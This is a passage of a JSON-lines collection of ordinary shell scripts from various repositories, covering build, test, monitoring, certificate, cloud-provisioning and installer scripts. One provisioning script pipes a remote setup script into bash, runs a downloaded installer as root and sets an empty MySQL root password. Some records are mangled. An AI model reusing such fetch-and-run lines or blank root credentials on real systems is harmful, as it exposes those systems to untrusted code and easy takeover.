exit 1\n ;;\nesac"} {"text": "cmake ../../ -DPROJ=sensor -DTOOLCHAIN=/opt/kendryte-toolchain/bin && make -j"} {"text": "#!/usr/bin/env bash\n\nset -uo pipefail;\n\n####################################\n# Ensure we can execute standalone #\n####################################\n\nfunction early_death() {\n echo \"[FATAL] ${0}: ${1}\" >&2;\n exit 1;\n};\n\nif [ -z \"${GMENV_ROOT:-\"\"}\" ]; then\n # http://stackoverflow.com/questions/1055671/how-can-i-get-the-behavior-of-gnus-readlink-f-on-a-mac\n readlink_f() {\n local target_file=\"${1}\";\n local file_name;\n\n while [ \"${target_file}\" != \"\" ]; do\n cd \"$(dirname ${target_file})\" || early_death \"Failed to 'cd \\$(dirname ${target_file})' while trying to determine GMENV_ROOT\";\n file_name=\"$(basename \"${target_file}\")\" || early_death \"Failed to 'basename \\\"${target_file}\\\"' while trying to determine GMENV_ROOT\";\n target_file=\"$(readlink \"${file_name}\")\";\n done;\n\n echo \"$(pwd -P)/${file_name}\";\n };\n\n GMENV_ROOT=\"$(cd \"$(dirname \"$(readlink_f \"${0}\")\")/..\" && pwd)\";\n [ -n ${GMENV_ROOT} ] || early_death \"Failed to 'cd \\\"\\$(dirname \\\"\\$(readlink_f \\\"${0}\\\")\\\")/..\\\" && pwd' while trying to determine GMENV_ROOT\";\nelse\n GMENV_ROOT=\"${GMENV_ROOT%/}\";\nfi;\nexport GMENV_ROOT;\n\nif [ -n \"${GMENV_HELPERS:-\"\"}\" ]; then\n log 'debug' 'GMENV_HELPERS is set, not sourcing helpers again';\nelse\n [ \"${GMENV_DEBUG:-0}\" -gt 0 ] && echo \"[DEBUG] Sourcing helpers from ${GMENV_ROOT}/lib/helpers.sh\";\n if source \"${GMENV_ROOT}/lib/helpers.sh\"; then\n log 'debug' 'Helpers sourced successfully';\n else\n early_death \"Failed to source helpers from ${GMENV_ROOT}/lib/helpers.sh\";\n fi;\nfi;\n\n#####################\n# Begin Script Body #\n#####################\n\ndeclare -a errors=();\n\nlog 'info' '### List local versions';\ncleanup || log 'error' \"Cleanup failed?!\";\n\nfor v in 1.2.0 1.2.1 1.3.0 1.4.0 1.4.1; do\n log 'info' \"## Installing version ${v} to construct list\";\n gmenv install \"${v}\" \\\n && log 'debug' \"Install of version ${v} succeeded\" \\\n || error_and_proceed \"Install of version ${v} failed\";\ndone;\n\ngmenv use 1.4.1\n\nlog 'info' '## Comparing \"gmenv list\" to expectations';\nresult=\"$(gmenv list)\";\nexpected=\"$(cat << EOS\n* 1.4.1 (set by $(gmenv version-file))\n 1.4.0\n 1.3.0\n 1.2.1\n 1.2.0\nEOS\n)\";\n\nif [ \"${expected}\" != \"${result}\" ]; then\n error_and_proceed \"List mismatch.\\nExpected:\\n${expected}\\nGot:\\n${result}\";\nfi;\n\nif [ \"${#errors[@]}\" -gt 0 ]; then\n log 'warn' \"===== The following list tests failed =====\";\n for error in \"${errors[@]}\"; do\n log 'warn' \"\\t${error}\";\n done;\n log 'error' 'List test failure(s)';\nelse\n log 'info' 'All list tests passed.';\nfi;\n\ncleanup || log 'error' 'Cleanup failed?!';\n\nexit 0;"} {"text": "ufoderek/dotfiles\nif [ -z \"$2\" ]; then\n echo \"`basename $0` lk.bin update.zip\"\nelse\n cp \"$2\" \"lk_$2\"\n unzip -p \"lk_$2\" META-INF/com/google/android/updater-script > updater-script\n echo \"assert(package_extract_file(\"lk.bin\", \"/tmp/uboot.img\"),\" >> updater-script\n echo \"write_raw_image(\"/tmp/uboot.img\", \"uboot\"),\" >> updater-script\n echo \"delete(\"/tmp/uboot.img\"));\" >> updater-script\n mkdir -p _tmp/META-INF/com/google/android\n mv updater-script _tmp/META-INF/com/google/android\n cd _tmp\n zip -g \"../lk_$2\" META-INF/com/google/android/updater-script\n cd ..\n zip -g -j \"lk_$2\" \"$1\"\n rm -rf _tmp\nfi"} {"text": "pictures/convert-full.sh\n#!/bin/bash\n# example run: ./convert.sh mape\nconvert $1.png eps2:$1.eps\nconvert $1.png $1.pnm\npotrace $1.pnm -s -o $1.svg\nconvert $1.png $1.pdf\nrm $1.pnm"} {"text": "1-10\nsudo docker run --rm -v \"$PWD\":/usr/src/app -w /usr/src/app ruby:2.6 bundle install\nsudo docker-compose -f ./docker/docker-compose.build-image.yml build"} {"text": "hamidpro/rdwanserveur/sevensquare-master/contributes/pressue-test.sh\n#!/bin/sh\n\nwhile [ true ]; do\n echo -n \".\"\n\n # home\n adb shell input keyevent 3\n sleep 1\n\n # phone key\n adb shell input keyevent 5\n\n # start launcher\n #adb shell input tap 240 780\n sleep 1\ndone"} {"text": "#!/bin/bash\n######\n## thin-lvm.sh \"warning parameter\" \"critical parameter\"\n## Both parameterss are % of usage thin-lvm\n## thin-lvm.sh 80 95\n## 80 mean warning when thin-lvm is used over 80% and critical when thin-lvm is used over 95%\n######\n\nwarn=$1\ncrit=$2\nusage=`/sbin/lvs|grep \"^ data\"|awk '{print$5}'`\n\nisOK=`echo \"$usage < $warn\"|bc`\nisWARN=`echo \"$usage >= $warn\"|bc`\nisCRIT=`echo \"$usage >= $crit\"|bc`\n\nstatus=\"\"\nif [[ $isOK -eq 1 ]]; then status=\"OK\"\nfi\nif [[ $isWARN -eq 1 ]]; then status=\"WARN\"\nfi\nif [[ $isCRIT -eq 1 ]]; then status=\"CRIT\"\nfi\n\ncase \"$status\" in\n OK) echo \"OK - thin-lvm used for $usage%\"\n exit 0\n ;;\n WARN) echo \"WARNING - thin-lvm used for $usage%\"\n exit 1\n ;;\n CRIT) echo \"CRITICAL - thin-lvm used for $usage%\"\n exit 2\n ;;\nesac"} {"text": "#!/usr/bin/env bash\n\nPASSWORD=''\nPROJECT_FOLDER='Deep-Skies-Symfony'\n\n# update / upgrade\nsudo apt-get update\nsudo apt-get -y upgrade\n\n# install apache 2.5 and php 5.5\nsudo apt-get install -y apache2\nsudo apt-get install -y php5\n\n# install mysql and give password to installer\nsudo debconf-set-selections <<< \"mysql-server mysql-server/root_password password $PASSWORD\"\nsudo debconf-set-selections <<< \"mysql-server mysql-server/root_password_again password $PASSWORD\"\nsudo apt-get -y install mysql-server\nsudo apt-get install php5-mysql\n\n# setup hosts file\nVHOST=$(cat <\n DocumentRoot \"/var/www/html/${PROJECT_FOLDER}\"\n \n AllowOverride All\n Require all granted\n \n\nEOF\n)\necho \"${VHOST}\" > /etc/apache2/sites-available/000-default.conf\n\n# enable mod_rewrite\nsudo a2enmod rewrite\n\necho 'date.timezone = \"UTC\"' >> /etc/php5/cli/php.ini\necho 'date.timezone = \"UTC\"' >> /etc/php5/apache2/php.ini\n\n# restart apache\nservice apache2 restart\n\n# install git\nsudo apt-get -y install git\n\n# install node and npm\ncurl -sL https://deb.nodesource.com/setup_5.x | bash -\napt-get install nodejs --yes\nnpm install -g less\n\n# install Composer\ncurl -s https://getcomposer.org/installer | php\nmv composer.phar /usr/local/bin/composer\n\n# get zsh tar file and uncompress its Doc folder to /usr/share/man/man1\nwget -qO- \"http://downloads.sourceforge.net/project/zsh/zsh/5.0.2/zsh-5.0.2.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fzsh%2Ffiles%2Fzsh%2F5.0.2%2F&ts=1407408881&use_mirror=superb-dca3\" | sudo tar xvz -C /usr/share/man/man1/ --wildcards \"zsh-5.0.2/Doc/*.1\" --strip-components=2\n\n# fix permissions\nsudo chown root:root /usr/share/man/man1/zsh*.1\nsudo chmod 0644 /usr/share/man/man1/zsh*.1\n\n# gzip the new zsh man pages (all others are gzipped as well)\nsudo gzip /usr/share/man/man1/zsh*.1\n\n# renew the man database (so that man -k or apropos finds the newly installed man pages)\nsudo mandb\n\n# show installed zsh man pages\nman -k zsh\n\n# install zsh and change the default shell.\nsudo apt-get install zsh --yes\nsudo curl -L http://install.ohmyz.sh > install.sh\nsudo sh install.sh\n\n# update the mlocate database.\nsudo updatedb"} {"text": "alexrudy/dotfiles\npathadd $DOTFILES/git/bin"} {"text": "#!/bin/bash\n\ndocker pull metorikku/metorikku:k8s\ndocker pull metorikku/metorikku:standalone\ndocker pull metorikku/metorikku:spark2_k8s\ndocker pull metorikku/metorikku:spark2_standalone\ndocker pull metorikku/hive\n\nset -e\n\n# Latest spark\nwget -q https://archive.apache.org/dist/spark/spark-$SPARK_VERSION/spark-$SPARK_VERSION-bin-hadoop$HADOOP_MAJOR_VERSION.tgz\ntar -xzf spark-$SPARK_VERSION-bin-hadoop$HADOOP_MAJOR_VERSION.tgz\n(cd spark-$SPARK_VERSION-bin-hadoop$HADOOP_MAJOR_VERSION && bin/docker-image-tool.sh -r metorikku -t base-$SPARK_VERSION build)\nrm -rf spark-$SPARK_VERSION-bin-hadoop$HADOOP_MAJOR_VERSION*\n\ndocker build -t metorikku/spark:k8s --cache-from metorikku/metorikku:k8s --build-arg SCALA_MAJOR_VERSION=$SCALA_MAJOR_VERSION --build-arg SPARK_VERSION=$SPARK_VERSION -f docker/spark/k8s/Dockerfile docker/spark/k8s\ndocker build -t metorikku/spark:standalone --cache-from metorikku/metorikku:standalone --build-arg IMAGE_NAME=metorikku/spark:k8s -f docker/spark/standalone/Dockerfile docker/spark/standalone\n# Adding metorikku jar\ndocker build -t metorikku/metorikku:k8s --cache-from metorikku/metorikku:k8s --build-arg IMAGE_NAME=metorikku/spark:k8s -f docker/metorikku/Dockerfile .\ndocker build -t metorikku/metorikku:standalone --cache-from metorikku/metorikku:standalone --build-arg IMAGE_NAME=metorikku/spark:standalone -f docker/metorikku/Dockerfile .\n\n# Spark 2\nwget -q https://archive.apache.org/dist/spark/spark-$SPARK2_VERSION/spark-$SPARK2_VERSION-bin-hadoop$SPARK2_HADOOP_MAJOR_VERSION.tgz\ntar -xzf spark-$SPARK2_VERSION-bin-hadoop$SPARK2_HADOOP_MAJOR_VERSION.tgz\n(cd spark-$SPARK2_VERSION-bin-hadoop$SPARK2_HADOOP_MAJOR_VERSION && bin/docker-image-tool.sh -r metorikku -t base-$SPARK2_VERSION build)\nrm -rf spark-$SPARK2_VERSION-bin-hadoop$SPARK2_HADOOP_MAJOR_VERSION\n\ndocker build -t metorikku/spark:spark2_k8s --cache-from metorikku/metorikku:spark2_k8s --build-arg SCALA_MAJOR_VERSION=$SPARK2_SCALA_MAJOR_VERSION --build-arg SPARK_VERSION=$SPARK2_VERSION --build-arg HADOOP_VERSION=${SPARK2_HADOOP_VERSION} --build-arg METRICS_FILE=metrics_spark2.properties -f docker/spark/k8s/Dockerfile docker/spark/k8s\ndocker build -t metorikku/spark:spark2_hadoop --cache-from metorikku/metorikku:spark2_standalone --build-arg IMAGE_NAME=metorikku/spark:spark2_k8s --build-arg HIVE_VERSION=${SPARK2_HIVE_VERSION} --build-arg HADOOP_VERSION=${SPARK2_HADOOP_VERSION} -f docker/spark/custom-hadoop/Dockerfile docker/spark/custom-hadoop\ndocker build -t metorikku/spark:spark2_standalone --cache-from metorikku/metorikku:spark2_standalone --build-arg IMAGE_NAME=metorikku/spark:spark2_hadoop -f docker/spark/standalone/Dockerfile docker/spark/standalone\n# Adding metorikku jar\ndocker build -t metorikku/metorikku:spark2_standalone --cache-from metorikku/metorikku:spark2_standalone --build-arg IMAGE_NAME=metorikku/spark:spark2_standalone --build-arg SCALA_MAJOR_VERSION=${SPARK2_SCALA_MAJOR_VERSION} -f docker/metorikku/Dockerfile .\ndocker build -t metorikku/metorikku:spark2_k8s --cache-from metorikku/metorikku:spark2_k8s --build-arg IMAGE_NAME=metorikku/spark:spark2_hadoop --build-arg SCALA_MAJOR_VERSION=${SPARK2_SCALA_MAJOR_VERSION} -f docker/metorikku/Dockerfile .\n\n# Hive\ndocker build -t metorikku/hive --cache-from metorikku/hive --build-arg HIVE_VERSION=$HIVE_VERSION --build-arg HUDI_VERSION=$HUDI_VERSION -f docker/hive/Dockerfile docker/hive"} {"text": "helm/opendistro-es/certs.sh\n#!/bin/bash\nmkdir certs\necho \"******creating root CA **************\\n\"\nopenssl genrsa -out certs/root-ca-key.pem 2048\nopenssl req -new -x509 -sha256 -key certs/root-ca-key.pem -out certs/root-ca.pem -subj \"/C=US/ST=Arizona/L=Phoenix/O=Amex/OU=AppSec/CN=opendistro*\"\n\n\n#admin cert\n\necho \"******creating admin CA **************\\n\"\nopenssl genrsa -out certs/admin-key-temp.pem 2048\nopenssl pkcs8 -inform PEM -outform PEM -in certs/admin-key-temp.pem -topk8 -nocrypt -v1 PBE-SHA1-3DES -out certs/admin-key.pem\nopenssl req -new -key certs/admin-key.pem -out certs/admin.csr -subj \"/C=US/ST=Arizona/L=Phoenix/O=Amex/OU=AppSec/CN=admin\"\nopenssl x509 -req -in certs/admin.csr -CA certs/root-ca.pem -CAkey certs/root-ca-key.pem -CAcreateserial -sha256 -out certs/admin-crt.pem -days 720\n\necho \"******creating NODE CA **************\\n\"\nopenssl genrsa -out certs/node-key-temp.pem 2048\nopenssl pkcs8 -inform PEM -outform PEM -in certs/node-key-temp.pem -topk8 -nocrypt -v1 PBE-SHA1-3DES -out certs/node-key.pem\nopenssl req -new -key certs/node-key.pem -out certs/node.csr -subj \"/C=US/ST=Arizona/L=Phoenix/O=Amex/OU=AppSec/CN=opendistro*\"\nopenssl x509 -req -in certs/node.csr -CA certs/root-ca.pem -CAkey certs/root-ca-key.pem -CAcreateserial -sha256 -out certs/node.pem -days 720\n\n#Cleanup\necho \"cleaning\"\nrm certs/admin-key-temp.pem\nrm certs/admin.csr\nrm certs/node-key-temp.pem\nrm certs/node.csr\n\ncp certs/root-ca.pem certs/elk-transport-root-ca.pem\ncp certs/node.pem certs/elk-transport-crt.pem\ncp certs/node-key.pem certs/elk-transport-key.pem\n\nkubectl create secret generic -n default trans1-secret --from-file=certs/elk-transport-root-ca.pem --from-file=certs/elk-transport-crt.pem --from-file=certs/elk-transport-key.pem\n\ncp certs/root-ca.pem certs/elk-rest-root-ca.pem\ncp certs/node.pem certs/elk-rest-crt.pem\ncp certs/node-key.pem certs/elk-rest-key.pem\n \nkubectl create secret generic -n default rest1-secret --from-file=certs/elk-rest-root-ca.pem --from-file=certs/elk-rest-crt.pem --from-file=certs/elk-rest-key.pem\n\ncp certs/root-ca.pem certs/admin-root-ca.pem\n\nkubectl create secret generic -n default admin1-secret --from-file=certs/admin-crt.pem --from-file=certs/admin-key.pem --from-file=certs/admin-root-ca.pem\n\ncp certs/root-ca.pem certs/kibana-root-ca.pem\ncp certs/node.pem certs/kibana-crt.pem\ncp certs/node-key.pem certs/kibana-key.pem\n\nkubectl create secret generic -n default kibana1-secret --from-file=certs/kibana-crt.pem --from-file=certs/kibana-key.pem --from-file=certs/kibana-root-ca.pem\n\nkubectl create secret generic -n default kibanarest1-secret --from-file=certs/elk-rest-root-ca.pem --from-file=certs/elk-rest-crt.pem --from-file=certs/elk-rest-key.pem"} {"text": "#!/bin/sh\nICON=\"🔋\"\nread -r capacity dist/snippets/maps_http_streetview_metadata/maps_http_streetview_metadata.sh\n# [START maps_http_streetview_metadata]\ncurl -L -X GET 'https://maps.googleapis.com/maps/api/streetview/metadata?heading=151.78&pitch=-0.76&location=46.414382%2C10.013988&size=600x300&key=YOUR_API_KEY'\n# [END maps_http_streetview_metadata]"} {"text": "if [ `kubectl get pvc | grep www-web | grep Bound | wc -l` -eq 2 ] \nthen\n\techo \"done\"\nfi"} {"text": "reikdas/pash\n#!/bin/bash\nfile1=1.out\nfile2=2.out\nfile3=3.out\nfile4=4.out\nfile5=5.out\nfile6=6.out\nfile7=7.out\nfile8=8.out\n\nrm -f *.out\n\nbatchSize=10000000\ntestFile=\"$PASH_TOP/evaluation/scripts/input/1G.txt\"\nif [ \"$#\" -gt \"0\" ]\n then\n testFile=$1\nfi\nif [ \"$#\" -gt \"1\" ]; then\n batchSize=$2\nfi\n\nmkfifo $file1\nmkfifo $file2\nmkfifo $file3\nmkfifo $file4\nmkfifo $file5\nmkfifo $file6\nmkfifo $file7\nmkfifo $file8\n\n$PASH_TOP/runtime/r_split -r $testFile $batchSize $file1 $file2 &\n\n$PASH_TOP/runtime/eager.sh $file1 $file5 \"/tmp/pash_eager_intermediate_#file1\" &\n$PASH_TOP/runtime/eager.sh $file2 $file6 \"/tmp/pash_eager_intermediate_#file2\" &\n\nsort < $file5 > $file7 &\nsort < $file6 > $file8 &\n\nsort -m $file7 $file8\n\n# cat $testFile | sort > $file8\n# if cmp -s \"$file7\" \"$file8\"; then\n# printf 'The file \"%s\" is the same as \"%s\"\\n' \"$file7\" \"$file8\"\n# else\n# printf 'The file \"%s\" is different from \"%s\"\\n' \"$file7\" \"$file8\"\n# fi\n\nrm -rf *out"} {"text": "0\nMAINNET_TOKENLIST=`cat dist/mainnet.tokenlist.json`\nGOERLI_TOKENLIST=`cat dist/goerli.tokenlist.json`\n\necho \"\n/** \n * 🚨🚨🚨 THIS FILE IS AUTO-GENERATED. DO NOT EDIT MANUALLY. 🚨🚨🚨\n * 🚨🚨🚨 THIS FILE IS AUTO-GENERATED. DO NOT EDIT MANUALLY. 🚨🚨🚨\n * 🚨🚨🚨 THIS FILE IS AUTO-GENERATED. DO NOT EDIT MANUALLY. 🚨🚨🚨\n *\n * This is the index.ts file that will be compiled to JS and set as the 'main'\n * property in package.json. This makes it possible to use elf-tokenlist as a\n * normal package, ie: import { mainnetTokenList } from 'elf-tokenlist'\n *\n * See scripts/build-index.sh for details.\n *\n * 🚨🚨🚨 THIS FILE IS AUTO-GENERATED. DO NOT EDIT MANUALLY. 🚨🚨🚨\n * 🚨🚨🚨 THIS FILE IS AUTO-GENERATED. DO NOT EDIT MANUALLY. 🚨🚨🚨\n * 🚨🚨🚨 THIS FILE IS AUTO-GENERATED. DO NOT EDIT MANUALLY. 🚨🚨🚨\n */\n\nimport { TokenList } from '@uniswap/token-lists/src';\n\nexport * from './tags';\n\nexport const mainnetTokenList: TokenList = $MAINNET_TOKENLIST;\nexport const goerliTokenList: TokenList = $GOERLI_TOKENLIST;\n\" > src/index.ts\n\ntsc --project tsconfig.json"} {"text": "#!/bin/bash\n#SBATCH -n 1\n#SBATCH -N 1\n#SBATCH -o demultiplexAndBarcodeCount-%A_%a.out\n#SBATCH -e demultiplexAndBarcodeCount-%A_%a.err\n#SBATCH --mem-per-cpu=8G\n#SBATCH --mail-type=END,FAIL\n\nml anaconda3/4.1.1\nunset PYTHONPATH\nsource activate bclab\n\n# Given FASTQ files, demultiplexes samples by P1 adapters and then count barcodes in each file\nif [ \"$#\" -ne 4 ]\nthen\n echo \"Usage: demultiplexAndBarcodeCount.sh fastqToSample.txt spacerSeq bcSize path/to/this/script/\"\n echo \"\\t- fastqToSample.txt is formatted as [fastq file name] [batch name (e.g. library1)] [p1ToSample.txt] [barcodeToSequence.txt]\n \\tWhere p1ToSample.txt is formatted as [p1 sequence] [sample name (e.g. Rna1)]\n \\t and barcodeToSequence.txt is a file that contains barcodes in the first field and CRS identifiers in the second field.\"\n echo \"\\t- spacerSeq is the sequence that is between the p1 adapter and cBC.\"\n echo \"\\t- bcSize is the expected size of the cBC\"\n exit 1\nfi\n\nfastqToSample=$1\nspacerSeq=$2\nbcSize=$3\nscriptPath=$4\n\n# If SLURM_ARRAY_TASK_ID is not set, that means either (1) this script is being run locally or (2) there is no job array. In this case, it is assumed that there is only one FASTQ file to demultiplex\nif [ -z \"${SLURM_ARRAY_TASK_ID}\" ]\nthen\n SLURM_ARRAY_TASK_ID=1\nfi\n\nline=$(sed \"${SLURM_ARRAY_TASK_ID}q;d\" \"${fastqToSample}\")\nfastq=$(echo \"${line}\" | cut -f1)\nname=$(echo \"${line}\" | cut -f2)\np1ToSample=$(echo \"${line}\" | cut -f3)\nbcToCrsFile=$(echo \"${line}\" | cut -f4)\n\nsh \"${scriptPath}\"/demultiplexFastq.sh \"${fastq}\" \"${p1ToSample}\" \"${spacerSeq}\" \"${bcSize}\" \"${name}\" \"${scriptPath}\"\n\n# For each sample in the original FASTQ file, count barcodes.\nwhile read p1Line\ndo\n p1=$(echo \"${p1Line}\" | cut -f1)\n sample=$(echo \"${p1Line}\" | cut -f2)\n prefix=\"${name}${sample}\"\n p1AndSpacer=\"${p1}${spacerSeq}\"\n\n sh \"${scriptPath}\"/fastqCountBarcodes.sh \"${prefix}\" \"${p1AndSpacer}\" \"${bcSize}\" \"${bcToCrsFile}\" \"${scriptPath}\"\n\ndone < \"${p1ToSample}\""} {"text": "1-10\n./set-config.sh\nfor TEST in ./tests/*\n\tdo\n\t\tif [ -f $TEST -a -x $TEST ]\n\t\tthen\n\t\t\t$TEST || exit 1\n\t\tfi\ndone"} {"text": "#!/bin/bash\n\nDIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1 && pwd )\"\nsource $DIR/incl_init-vars.sh\nsource $DIR/incl_az-login.sh\nsource $DIR/incl_get-credentials.sh\n\nexistingVnet=`(az network vnet show -g $resourceGroupName --name $vnetName --query \"name\" --output tsv 2> /dev/null) || echo \"not found\"`\necho $existingVnet\nif [[ \"$existingVnet\" == \"not found\" ]]\nthen\n echo \"VNet $vnetName in resource group $resourceGroupName must exist before running this script\"\n echo \"please run a script like setupDevVm.sh to create them\"\n exit 1\nfi\n\nsubnetExists=`az network vnet subnet list -g $resourceGroupName --vnet-name $vnetName --output table | grep hdinsight | wc -l`\nif [[ \"$subnetExists\" == \"0\" ]]\nthen\n echo \"creating hdinsight subnet\"\n az network vnet subnet create -g $resourceGroupName \\\n --vnet-name $vnetName --name \"hdinsight\" \\\n --address-prefixes 192.168.1.0/24\nfi\n\n# create storage account if it does not exist yet\nif [[ \"$storageKey\" == \"\" ]]\nthen\n az storage account create -g $resourceGroupName \\\n --name $storageName \\\n --location $location \\\n --kind StorageV2 \\\n --hierarchical-namespace false \\\n --https-only true \\\n --sku Standard_LRS\n storageKey=\"`az storage account keys list -g $resourceGroupName --account-name $storageName --output tsv --query '[0].value' 2> /dev/null`\"\nfi\n\nsubnetId=`az network vnet subnet list -g $resourceGroupName --vnet-name $vnetName --output jsonc --query \"[?name=='hdinsight'].id\" --output tsv`\npubkey=\"`cat $sshPublicKeyPath`\"\n\naz hdinsight create -t hadoop -g $resourceGroupName --name $hdiName \\\n --storage-container $hdiName \\\n --version \"4.0\" \\\n --http-user \"$username\" \\\n --http-password \"$password\" \\\n --ssh-user \"$username\" \\\n --ssh-public-key \"$pubkey\" \\\n --storage-account \"$storageName\" \\\n --storage-account-key \"$storageKey\" \\\n --subnet $subnetId \\\n --workernode-count 3 \\\n --workernode-size Standard_D12_v2 \\\n --headnode-size Standard_D12_v2 \\\n --zookeepernode-size Standard_D12_v2\n\ncopySshKeysToVm $hdiSshEndpoint"} {"text": "#!/bin/bash -e\n\nif [ \"$1\" == \"\" ]; then\n docker-compose run laravel /root/become.sh\nelse\n docker-compose run laravel $@\nfi"} {"text": "sayar/tedxhec\n#! /bin/sh\n\nmkdir -p logs/\ntouch logs/input.log logs/server.log\n\nsudo ./twinput.py > logs/input.log &\nsudo ./serve.py -P 80 > logs/server.log &"} {"text": "midonet/kaizen\n#!/bin/bash\n#./check.sh\n#\n# Copyright (c) 2015 Midokura SARL, All Rights Reserved.\n#\n# - check an OpenStack cloud for typical user mistakes when setting up the MidoNet plugin\n#\n# This script will try to autodetect your server based on:\n# - operating system type\n# - installed packages\n\n#\n# check Ubuntu installation\n#\ncheck_ubuntu () {\n echo \"002: checking Ubuntu\"\n\n return\n}\n\n#\n# check RedHat installation\n#\ncheck_redhat () {\n echo \"003: checking RedHat\"\n\n #\n # check if this is a neutron controller\n #\n if [[ ! \"\" == \"$(yum list installed openstack-neutron 2>/dev/null | grep -v '^Loaded plugins:')\" ]]; then\n echo \"this server has openstack-neutron package installed, assuming its a neutron controller\"\n\n echo \"checking for midonet packages on this controller.\"\n echo \"if this fails then one or more packages or services is missing from this machine.\"\n\n for PACKAGE in midolman python-midonetclient python-neutron-plugin-midonet; do\n echo \"checking for package ${PACKAGE}\"\n yum list installed \"${PACKAGE}\" 2>/dev/null | grep \"^${PACKAGE}\" || exit 1\n done\n\n #\n # check core plugin\n #\n if [[ \"\" == \"$(grep ^core_plugin /etc/neutron/neutron.conf 2>/dev/null | grep 'midonet.neutron.plugin.MidonetPluginV2')\" ]]; then\n echo \"your neutron.conf does not have the correct core_plugin defined.\"\n exit 1\n fi\n\n #\n # check the softlink\n #\n if [[ \"\" == \"$(readlink /etc/neutron/plugin.ini 2>/dev/null | grep /etc/neutron/plugins/midonet/midonet.ini)\" ]]; then\n echo \"your /etc/neutron/plugin.ini either does not exist or does not point to the midonet.ini.\"\n exit 1\n fi\n\n #\n # check if the plugin file exists\n #\n if [[ ! -f /etc/neutron/plugins/midonet/midonet.ini ]]; then\n echo \"your /etc/neutron/plugins/midonet/midonet.ini plugin file does not exist.\"\n exit 1\n fi\n\n #\n # check if the api defined in the midonet.ini is reachable and if the user and password works\n #\n URI=\"$(grep ^midonet_uri /etc/neutron/plugins/midonet/midonet.ini | awk -F= '{print $2;}' | xargs -n1 echo)\"\n\n fi\n\n return\n}\n\n\n#\n# main\n#\n\necho \"Welcome to Kaizen, the Midokura system checker\"\n\n# find out if we are in Redhat or an Ubuntu system\necho \"001: checking for LSB release\"\ntest -f /etc/lsb-release && source /etc/lsb-release\n\nif [[ -f /etc/lsb-release ]]; then\n\n eval $(grep ^DISTRIB_ID /etc/lsb-release | xargs -n1 echo export)\n\n if [[ \"Ubuntu\" == \"${DISTRIB_ID}\" ]]; then\n THIS_IS_UBUNTU=\"1\"\n fi\nelse\n if [[ -f \"/etc/redhat-release\" ]]; then\n THIS_IS_REDHAT=\"1\"\n fi\nfi\n\nif [[ \"1\" == \"${THIS_IS_UBUNTU}\" || \"1\" == \"${THIS_IS_REDHAT}\" ]]; then\n\n if [[ \"1\" == \"${THIS_IS_UBUNTU}\" && \"1\" == \"${THIS_IS_REDHAT}\" ]]; then\n echo \"your box is saying it runs Ubuntu and Redhat. this is wrong.\"\n exit 1\n fi\n\n if [[ \"1\" == \"${THIS_IS_UBUNTU}\" ]]; then\n check_ubuntu\n fi\n\n\n if [[ \"1\" == \"${THIS_IS_REDHAT}\" ]]; then\n check_redhat\n fi\n\nelse\n echo \"unsupported operating system\"\n exit 1\nfi\n\nexit 0"} {"text": "0\n#!/bin/bash\n\nINSTALL_LOG=`mktemp /tmp/install_wavefront_XXXXXXXXXX.log`\n\nfunction check_if_root_or_die() {\n echo \"Checking installation privileges\"\n echo -e \"\\nid -u\" >>${INSTALL_LOG}\n SCRIPT_UID=$(id -u)\n if [ \"$SCRIPT_UID\" != 0 ]; then\n echo \"Installer should be run as root\"\n exit 1\n fi\n}\n\nfunction exit_with_message() {\n echo\n echo $1\n echo -e \"\\n$1\" >> ${INSTALL_LOG}\n if [[ $INSTALL_LOG && \"$2\" -eq 1 ]]; then\n echo \"For additional information, check the Wavefront install log: $INSTALL_LOG\"\n fi\n echo\n exit 1\n}\n\nfunction echo_right() {\n TEXT=$1\n echo\n tput cuu1\n tput cuf $(tput cols)\n tput cub ${#TEXT}\n echo $TEXT\n}\n\nfunction echo_failure() {\n tput setaf 1 # 1 = red\n echo_right \"[ FAILED ]\"\n tput sgr0 # reset terminal\n}\n\nfunction exit_with_failure() {\n echo_failure\n exit_with_message \"FAILURE: $1\" 1\n}\n\nfunction detect_operating_system() {\n\n echo \"Detecting operating system:\"\n if [ -f /etc/debian_version ]; then\n echo -e \"\\ntest -f /etc/debian_version\" >> ${INSTALL_LOG}\n echo \"Debian/Ubuntu\"\n OPERATING_SYSTEM=\"DEBIAN\"\n elif [ -f /etc/redhat-release ] || [ -f /etc/system-release-cpe ]; then\n echo -e \"\\ntest -f /etc/redhat-release || test -f /etc/system-release-cpe\" >> ${INSTALL_LOG}\n echo \"RedHat/CentOS\"\n OPERATING_SYSTEM=\"REDHAT\"\n elif [ \"$(uname)\" == \"Darwin\" ]; then\n OPERATING_SYSTEM=\"MAC\"\n echo \"Mac is not yet supported!\"\n exit 1\n elif [ -f /etc/SUSE-brand ]; then\n echo -e \"\\ntest -f /etc/SUSE-brand\" >> ${INSTALL_LOG}\n echo \"OpenSUSE/SLE\"\n OPERATING_SYSTEM=`head -1 /etc/SUSE-brand`\n else\n echo -e \"\\ntest -f /etc/debian_version\" >> \"/tmp/wavefront_install.log\"\n echo -e \"\\ntest -f /etc/redhat-release || test -f /etc/system-release-cpe\" >> ${INSTALL_LOG}\n echo \"Unsupported operating system\"\n exit 1\n fi\n export OPERATING_SYSTEM\n}\n\nfunction install_python() {\n\n if [ $OPERATING_SYSTEM == \"DEBIAN\" ]; then\n echo \"Installing Python using apt-get\"\n apt-get update >> ${INSTALL_LOG} 2>&1\n apt-get install python -y >> ${INSTALL_LOG} 2>&1\n elif [ $OPERATING_SYSTEM == \"REDHAT\" ]; then\n echo \"Installing Python using yum\"\n yum install python -y >> ${INSTALL_LOG} 2>&1\n elif [ $OPERATING_SYSTEM == \"openSUSE\" ] || [ $OPERATING_SYSTEM == \"SLE\" ]; then\n echo \"Installing Python using zypper\"\n zypper install python >> ${INSTALL_LOG} 2>&1\n fi\n\n if [ $? -ne 0 ]; then\n exit_with_failure \"Failed to install Python\"\n fi\n\n}\n\nfunction remove_python() {\n\n # wavefront cli\n pip uninstall wavefront-cli -y\n # pip\n pip uninstall pip -y\n\n # python\n if [ $OPERATING_SYSTEM == \"DEBIAN\" ]; then\n echo \"Uninstalling Python using apt-get\"\n apt-get remove python -y &> ${INSTALL_LOG}\n apt-get autoremove -y &> ${INSTALL_LOG}\n elif [ $OPERATING_SYSTEM == \"REDHAT\" ]; then\n echo \"Uninstalling Python using yum\"\n yum remove python -y &> ${INSTALL_LOG}\n elif [ $OPERATING_SYSTEM == \"openSUSE\" ] || [ $OPERATING_SYSTEM == \"SLE\" ]; then\n echo \"Uninstalling Python using 